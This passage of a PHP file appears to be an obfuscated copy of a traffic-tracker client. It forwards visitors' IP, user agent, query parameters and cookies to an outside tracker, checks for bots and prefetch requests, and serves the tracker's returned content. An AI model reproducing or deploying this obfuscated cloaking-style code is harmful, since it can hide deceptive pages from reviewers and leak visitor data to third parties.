currentPageAsReferrer() { $this->referrer($this->_getCurrentPage()); return $this; } public function debug($state = true) { $this->_debug = $state; return $this; } public function seReferrer($seReferrer) { $this->_params["\x73\x65\x5f\x72\x65\146\x65\162\x72\145\162"] = $seReferrer; return $this; } public function referrer($referrer) { $this->_params["\x72\145\x66\x65\x72\x72\145\162"] = $referrer; return $this; } public function xRequestedWith($xRequestedWith) { $this->_params["\x78\137\162\x65\x71\x75\x65\163\164\145\144\x5f\167\151\x74\150"] = $xRequestedWith; return $this; } public function setHttpClient($httpClient) { $this->_httpClient = $httpClient; return $this; } public function trackerUrl($trackerUrl) { if (!empty($trackerUrl)) { $request = parse_url($trackerUrl); $this->_trackerUrl = "{$request["\163\x63\x68\x65\x6d\x65"]}\72\57\x2f{$request["\150\x6f\x73\x74"]}"; if (isset($request["\x70\x6f\162\x74"])) { $this->_trackerUrl .= "\72" . $request["\160\x6f\162\164"]; } } } public function token($token) { return $this->campaignToken($token); } public function campaignToken($campaignToken) { $this->_params["\x74\x6f\153\145\x6e"] = $campaignToken; return $this; } public function version($version) { $this->_params["\166\145\x72\x73\151\157\x6e"] = $version; return $this; } public function ua($ua) { $this->_params["\165\x61"] = $ua; return $this; } public function language($language) { $this->_params["\154\141\x6e\147\165\141\x67\145"] = $language; return $this; } public function keyword($keyword) { $this->_params["\x6b\145\x79\167\x6f\162\144"] = $keyword; return $this; } public function forceRedirectOffer() { $this->_params["\146\157\162\143\x65\x5f\162\x65\144\x69\x72\x65\143\164\137\157\146\x66\145\x72"] = 1; } public function ip($ip) { $this->_params["\x69\x70"] = $ip; return $this; } public function sendUtmLabels() { foreach ($_GET as $name => $value) { if (strstr($name, "\165\164\155\x5f")) { $this->_params[$name] = $value; } } } public function setLandingToken($token) { $this->_startSession(); $_SESSION["\164\157\153\x65\x6e"] = $token; } public function getSubId() { $result = $this->performRequest(); if (empty($result->info->sub_id)) { $this->log("\x4e\157\40\x73\x75\142\137\x69\144\x20\151\163\x20\x64\x65\x66\x69\156\145\x64"); return "\156\157\137\x73\x75\x62\151\144"; } $subId = $result->info->sub_id; return $subId; } public function getToken() { $result = $this->performRequest(); if (empty($result->info->sub_id)) { $this->log("\116\157\x20\154\x61\x6e\144\151\156\147\x20\164\x6f\x6b\145\156\40\151\x73\40\144\145\x66\x69\156\x65\x64"); return "\x6e\x6f\x5f\x74\x6f\x6b\145\156"; } $subId = $result->info->token; return $subId; } public function sendAllParams() { foreach ($_GET as $name => $value) { if (empty($this->_params[$name]) && !in_array($name, $this->_excludeParams)) { $this->_params[$name] = $value; } } } public function restoreFromSession() { if ($this->isStateRestored() || $this->_sessionsDisabled) { return; } $this->_startSession(); if (!empty($_SESSION[self::STATE_SESSION_KEY])) { if ($_SESSION[self::STATE_SESSION_EXPIRES_KEY] < time()) { unset($_SESSION[self::STATE_SESSION_KEY]); unset($_SESSION[self::STATE_SESSION_EXPIRES_KEY]); $this->log("\123\x74\x61\x74\x65\x20\145\x78\x70\x69\x72\x65\x64"); } else { $this->_result = json_decode($_SESSION[self::STATE_SESSION_KEY], false); if (isset($this->_result) && isset($this->_result->headers)) { $this->_result->headers = array(); } $this->_stateRestored = true; $this->log("\x53\164\141\164\x65\x20\162\x65\x73\x74\157\x72\145\x64"); } } } public function disableSessions() { $this->_sessionsDisabled = true; } public function restoreFromQuery() { if (isset($_GET["\x5f\163\x75\x62\151\x64"])) { $this->_stateRestored = true; if (empty($this->_result)) { $this->_result = new StdClass(); $this->_result->info = new StdClass(); } $this->_result->info->sub_id = $_GET["\x5f\163\165\142\151\x64"]; $this->log("\123\165\x62\x49\x64\40\x6c\x6f\x61\x64\x65\x64\x20\x66\162\157\155\40\161\x75\145\x72\x79"); if (isset($_GET["\x5f\164\157\x6b\145\x6e"])) { $this->_result->info->token = $_GET["\137\x74\x6f\153\x65\x6e"]; $this->log("\114\x61\x6e\x64\x69\x6e\147\x20\164\x6f\153\x65\156\x20\x6c\157\x61\x64\x65\144\40\146\x72\157\155\x20\x71\x75\x65\162\171"); } $this->_storeState($this->_result, self::DEFAULT_TTL); $this->_stateRestored = true; } } public function isStateRestored() { return $this->_stateRestored; } public function isPrefetchDetected() { $checkServerParams = array("\110\x54\124\x50\137\130\137\120\125\122\120\x4f\x53\x45" => "\x70\x72\x65\x76\x69\x65\x77", "\x48\124\x54\120\x5f\130\137\x4d\x4f\132" => "\x70\x72\x65\x66\145\164\143\x68", "\x48\x54\x54\120\x5f\130\x5f\x46\102\x5f\x48\124\x54\x50\x5f\x45\116\107\x49\116\x45" => "\114\151\x67\145\162"); foreach ($checkServerParams as $name => $value) { if (isset($_SERVER[$name]) && $_SERVER[$name] == $value) { return true; } } return false; } public function saveCookie($key, $value, $ttl) { if (isset($_COOKIE[$key]) && $_COOKIE[$key] == $value) { return; } if (!headers_sent()) { setcookie($key, $value, $this->_getCookiesExpireTimestamp($ttl), "\57", $this->_getCookieHost()); } $_COOKIE[$key] = $value; } public function param($name, $value) { if (!in_array($name, $this->_excludeParams)) { $this->_params[$name] = $value; } return $this; } public function params($value) { if (!empty($value)) { if (is_string($value)) { parse_str($value, $result); foreach ($result as $name => $value) { $this->param($name, $value); } } } return $this; } public function reset() { $this->_result = null; } public function performRequest() { if ($this->_result) { return $this->_result; } $request = $this->_buildRequestUrl(); $params = $this->getParams(); $options = $this->_getRequestOptions(); $this->log("\122\145\x71\x75\x65\x73\x74\x3a\x20" . $request); try { $result = $this->_httpClient->request($request, $params, $options); $this->log("\122\x65\x73\x70\157\156\x73\145\72\x20" . $result); } catch (KClientError $e) { if ($this->_debug) { throw $e; } else { $errorCode = $e->getHumanCode(); $errorCode = $errorCode ? $errorCode . "\x20" : ''; echo $errorCode . self::ERROR; return; } } $this->_result = json_decode($result); $this->_storeState($this->_result, isset($this->_result->cookies_ttl) ? $this->_result->cookies_ttl : null); if (isset($this->_result->cookies)) { $this->_saveKeitaroCookies($this->_result->cookies, $this->_result->cookies_ttl); } return $this->_result; } public function execute($break = false, $print = true) { $result = $this->performRequest(); $body = $this->_buildBody($result); if (!$print) { return $body; } $this->_sendHeaders($result); echo $body; } public function executeAndBreak() { $result = $this->performRequest(); $body = $this->_buildBody($result); $this->_sendHeaders($result); if (!empty($body)) { die($body); } if (!empty($result->headers) && ResponseExecutor::containsActionHeader($result->headers)) { die($body); } if (!empty($result->status) && $result->status == self::NOT_FOUND_STATUS) { die($body); } } public function getContent() { $result = $this->performRequest(); return $this->_buildBody($result); } public function showLog($separator = "\74\x62\x72\40\57\x3e") { echo "\x3c\150\162\76" . implode($separator, $this->getLog()) . "\74\150\x72\76"; } public function log($msg) { if ($this->_debug) { error_log($msg); } $this->_log[] = $msg; } public function getLog() { return $this->_log; } public function getParams() { return $this->_params; } private function _sendHeaders($result) { $file = ''; $line = ''; if (headers_sent($file, $line)) { $msg = "\x42\157\144\171\40\157\x75\x74\x70\x75\x74\x20\141\x6c\x72\145\141\x64\x79\40\163\164\141\162\x74\145\144"; if (!empty($file)) { $msg .= "\x28{$file}\x3a{$line}\x29"; } $this->log($msg); return; } ResponseExecutor::sendHeaders($result); } private function _storeState($result, $ttl) { if ($this->_sessionsDisabled) { return; } $this->_startSession(); $_SESSION[self::STATE_SESSION_KEY] = json_encode($result); $_SESSION[self::STATE_SESSION_EXPIRES_KEY] = time() + $ttl * 60 * 60; if (!empty($result->info)) { if (!empty($result->info->sub_id)) { $_SESSION[self::SESSION_SUB_ID] = $result->info->sub_id; } if (!empty($result->info->token)) { $_SESSION[self::SESSION_LANDING_TOKEN] = $result->info->token; } } } private function _buildBody($result) { $content = ''; if (!empty($result)) { if (!empty($result->error)) { $content .= $result->error; } if (!empty($result->body)) { if (isset($result->contentType) && (strstr($result->contentType, "\151\x6d\141\x67\145") || strstr($result->contentType, "\141\x70\160\154\151\143\x61\164\151\x6f\x6e\x2f\x70\x64\146"))) { $content = base64_decode($result->body); } else { $content .= $result->body; } } } return $content; } private function _saveKeitaroCookies($cookies, $ttl) { foreach ($cookies as $key => $value) { $this->saveCookie($key, $value, $ttl); } } public function getOffer($params = array(), $fallback = "\x6e\157\x5f\157\x66\x66\145\162") { $result = $this->performRequest(); $token = $this->getToken(); if (empty($token)) { $this->log("\x43\141\155\160\141\151\147\156\40\x68\x61\x73\x6e\47\x74\40\162\x65\164\x75\162\x6e\x65\144\x20\x6f\x66\146\145\x72"); return $fallback; } $params["\137\154\160"] = 1; $params["\x5f\x74\x6f\x6b\145\x6e"] = $result->info->token; return $this->_buildOfferUrl($params); } public function isBot() { $result = $this->performRequest(); if (isset($result->info)) { return isset($result->info->is_bot) ? $result->info->is_bot : false; } } public function isUnique($level = "\143\x61\x6d\160\x61\x69\147\x6e") { $result = $this->performRequest(); if (isset($result->info) && $result->info->uniqueness) { return isset($result->info->uniqueness->{$level}) ? $result->info->uniqueness->{$level} : false; } } public function forceChooseOffer() { throw new \Error("\146\157\162\x63\145\103\150\157\157\163\145\x4f\x66\x66\x65\x72\40\167\141\x73\x20\162\145\155\x6f\x76\145\x64\x20\x69\x6e\40\113\x43\154\151\145\156\164\x20\166\x33\x2e"); } public function getBody() { $result = $this->performRequest(); return $result->body; } public function getHeaders() { $result = $this->performRequest(); return $result->headers; } private function _startSession() { if (!headers_sent()) { @session_start(); } } private function _buildOfferUrl($params = array()) { $params = http_build_query($params); return "{$this->_trackerUrl}\57\77{$params}"; } private function _getCurrentPage() { if (isset($_SERVER["\123\x45\122\126\x45\122\137\x50\x4f\x52\x54"]) && $_SERVER["\123\x45\122\x56\105\122\137\120\x4f\x52\x54"] == 443 || !empty($_SERVER["\110\x54\124\120\x53"])) { $scheme = "\150\164\164\x70\163"; } else { $scheme = "\150\x74\164\x70"; } return $scheme . "\72\57\57" . $_SERVER["\110\124\x54\x50\x5f\x48\117\x53\x54"] . $_SERVER["\x52\105\x51\x55\x45\x53\x54\x5f\x55\122\111"]; } private function _buildRequestUrl() { return $this->_trackerUrl . "\x2f\x63\154\151\x63\x6b\137\x61\x70\151\57\x76" . self::VERSION; } private function _findIp() { $ip = null; $headers = array("\x48\124\124\120\x5f\x58\137\106\x4f\x52\127\101\x52\104\x45\x44\x5f\106\x4f\x52", "\x48\124\124\x50\x5f\106\x4f\x52\x57\101\x52\x44\105\x44\x5f\106\117\x52", "\x48\x54\124\x50\137\x58\x5f\x46\117\122\127\101\122\104\105\104", "\110\124\124\120\x5f\106\x4f\122\x57\x41\122\104\x45\104", "\x48\124\x54\x50\x5f\103\x4c\111\x45\x4e\x54\137\111\x50", "\110\124\x54\x50\x5f\x46\117\x52\127\x41\122\104\105\104\x5f\106\117\x52\137\x49\120", "\x58\137\x46\x4f\122\x57\101\x52\104\x45\104\x5f\x46\x4f\122", "\106\x4f\x52\127\101\x52\104\x45\x44\137\x46\117\x52", "\130\x5f\106\x4f\122\x57\x41\x52\104\x45\104", "\106\117\122\x57\101\122\104\105\x44", "\x43\114\111\105\x4e\x54\137\x49\x50", "\106\117\x52\127\101\x52\104\105\x44\137\x46\x4f\x52\x5f\111\x50", "\x48\124\x54\x50\137\x43\x46\x5f\x43\117\116\116\105\103\124\x49\x4e\x47\137\x49\x50", "\x48\x54\x54\x50\137\x50\x52\x4f\130\131\137\103\x4f\x4e\116\x45\x43\x54\111\117\x4e"); foreach ($headers as $header) { if (!empty($_SERVER[$header])) { $tmp = explode("\x2c", $_SERVER[$header]); $ip = trim($tmp[0]); break; } } if (strstr($ip, "\54")) { $tmp = explode("\x2c", $ip); if (stristr($_SERVER["\x48\124\124\120\x5f\125\x53\x45\x52\x5f\101\107\x45\116\x54"], "\x6d\151\156\151")) { $ip = trim($tmp[count($tmp) - 2]); } else { $ip = trim($tmp[0]); } } if (empty($ip)) { $ip = isset($_SERVER["\x52\105\115\117\124\x45\137\101\x44\x44\x52"]) ? $_SERVER["\122\105\x4d\117\124\x45\x5f\x41\x44\x44\122"] : "\61\x32\x37\56\60\56\x30\x2e\61"; } return $ip; } private function _getCookiesExpireTimestamp($ttl) { return time() + 60 * 60 * $ttl; } private function _getCookieHost() { if (isset($_SERVER["\110\x54\124\120\x5f\110\117\123\124"]) && substr_count($_SERVER["\110\x54\124\120\x5f\x48\117\123\124"], "\x2e") < 3) { $host = "\x2e" . str_replace("\x77\167\x77\x2e", '', $_SERVER["\x48\124\x54\x50\x5f\110\117\123\124"]); } else { $host = null; } return $host; } private function _getRequestOptions() { $opts = array(); if (isset($_SERVER["\110\124\x54\120\137\x43\x4f\x4f\x4b\111\105"])) { $opts["\143\x6f\x6f\x6b\151\x65\x73"] = preg_replace("\57\x50\x48\120\123\x45\x53\123\x49\104\x3d\x2e\x2a\77\x3b\57\163\x69", '', $_SERVER["\x48\x54\124\x50\x5f\x43\x4f\x4f\x4b\x49\x45"]); } return $opts; } private function _getAllHeaders() { $headers = array(); foreach ($_SERVER as $name => $value) { if (substr($name, 0, 5) == "\110\x54\124\x50\137") { $headers[str_replace("\x20", "\55", ucwords(strtolower(str_replace("\x5f", "\40", substr($name, 5)))))] = $value; } } return $headers; } } goto b1gPL; Bksxe: class_alias("\x4b\x43\154\x69\145\156\164", "\x4b\x43\154\151\x63\153\103\154\x69\x65\x6e\164"); goto Mqeq6; OSPFJ: goto cPifu; goto PCxXi; TH7P9: ?>